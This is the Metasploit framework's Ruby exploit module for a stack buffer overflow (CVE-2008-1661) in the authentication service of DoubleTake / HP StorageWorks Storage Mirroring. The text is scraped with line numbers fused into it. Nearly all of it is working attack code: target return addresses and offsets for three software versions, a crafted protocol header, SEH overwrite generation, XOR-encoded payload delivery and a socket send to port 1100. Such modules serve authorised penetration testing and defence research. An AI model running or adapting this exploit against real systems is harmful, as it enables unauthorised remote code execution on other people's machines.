Path: blob/master/modules/exploits/windows/misc/doubletake.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the authentication mechanism of18NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability19was found by Titon of Bastard Labs.20},21'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],22'References' => [23['CVE', '2008-1661' ],24['OSVDB', '45924' ],25],26'Privileged' => false,27'DefaultOptions' => {28'EXITFUNC' => 'process',29},30'Payload' => {31'Space' => 500,32'BadChars' => "\x00",33},34'Platform' => 'win',3536'Targets' => [37['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],38['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],39['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],40],41'DefaultTarget' => 0,42'DisclosureDate' => '2008-06-04',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53Opt::RPORT(1100)54]55)56end5758def exploit59connect6061print_status("Trying target #{target.name}...")6263header =64"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +65"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00" +66"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +67"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"6869xor = Rex::Encoding::Xor::Byte70filler = rand_text_english(1) * (target['Offset'])71seh = generate_seh_payload(target.ret)72buffercoded = xor.encode(seh + payload.encoded, [0xf0].pack("C"))73sploit = header + filler + buffercoded[0]74sock.put(sploit)7576handler77disconnect78end79end808182